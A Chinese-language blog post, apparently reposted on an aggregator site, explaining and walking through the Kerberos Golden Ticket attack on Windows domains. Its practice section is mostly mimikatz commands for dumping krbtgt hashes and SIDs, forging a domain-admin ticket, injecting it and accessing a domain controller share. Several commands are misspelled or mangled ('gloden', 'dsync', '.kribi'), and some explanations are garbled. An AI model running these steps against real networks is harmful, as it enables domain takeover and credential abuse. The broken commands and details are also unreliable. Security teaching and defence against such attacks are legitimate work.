黄金票据(Golden Ticket)的原理与实践

Posted kevingeorge

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了黄金票据(Golden Ticket)的原理与实践相关的知识,希望对你有一定的参考价值。

0、黄金票据是什么?


在与认证过程中,经过client与AS的通信会得到TGT,带着TGT想TGS请求,得到票据ticket,用这个ticket可以来访问应用服务器。如果这段有什么疑问,欢迎参考Kerberos认证协议分析。而这个黄金票据就是自己生成的TGT,在生成TGT的过程中,user、domain、timestamp、还有权限等信息会经过krbtgt(该账号不自动更新)账户hash的加密,所以获取到用户、域、SID、krbtgt的hash值就可以生成黄金票据(一般拿到krbtgt需要域管权限,生成的票据当然也是域管账号的,这样就控了整个域,而且有了金票据,免除了as验证username、password的阶段,所以也不担心域管密码修改)。

1、名词解释


1.1 winlogon.exe

接受Username和Password、Domain信息,传递给lsass.exe。

1.2 lsass.exe

lsass.exe经过kerberos机制处理Username和Password后与SAM(账号数据库)进行比对验证,返回登录失败的结果。

1.3 SAM数据库

存储账号密码Hash值的数据库。

1.4 NetLogon

域认证的加密信道(安全信道sChannel)。

2、如何生成黄金票据


2.1 生成黄金票据需要的信息

2.1.1 windows域的名称

PS C:UsersAdministrastor> systeminfo

技术分享图片

2.1.2 krbtgt和账号信息簇

mimikatz# sekurlsa::kerberos
mimikatz# sekurlsa::ticket /export
mimikatz# sekurlsa::logonpassword
mimikatz# lsadump::dsync /domain:xxx.xxx.xxx /user:krbtgt
mimikatz# lsadump::lsa /patch -> sid+ntlm

2.2 生成黄金票据

#  使用krbtgt的hash值:
mimikatz# kerberos::gloden /user:Administrator /domain:xxx.xxx.xxx /sid:xxxxxxxxxxxxx krbtgt:ntlm-hashvlaue /ticket:test.kribi

# 使用krbtgt的aes256值:
mimikatz# kerberos::gloden /domain:xxx.xxx /sid:xxxxxxxxxxx /aes256:xxxxxxxx /user:Administrator /ticket:test.kribi

3 黄金票据的使用


#  导入票据
mimikatz::ptt test.kribi

#检验缓存票据
PS C:UsersAdministrastor> klist  

#利用票据访问
PS C:UsersAdministrastor> net use \\xx.domain-name
dir \\xx.domain-namec$

以上是关于黄金票据(Golden Ticket)的原理与实践的主要内容,如果未能解决你的问题,请参考以下文章

Kerberos的黄金票据详解

白银票据

cf#512 C. Vasya and Golden Ticket

Vasya and Golden Ticket CodeForces - 1030C

jsapi_ticket用于调用微信JS接口的临时票据

同一域树下的提权利用方式(Golden Ticket+SID History)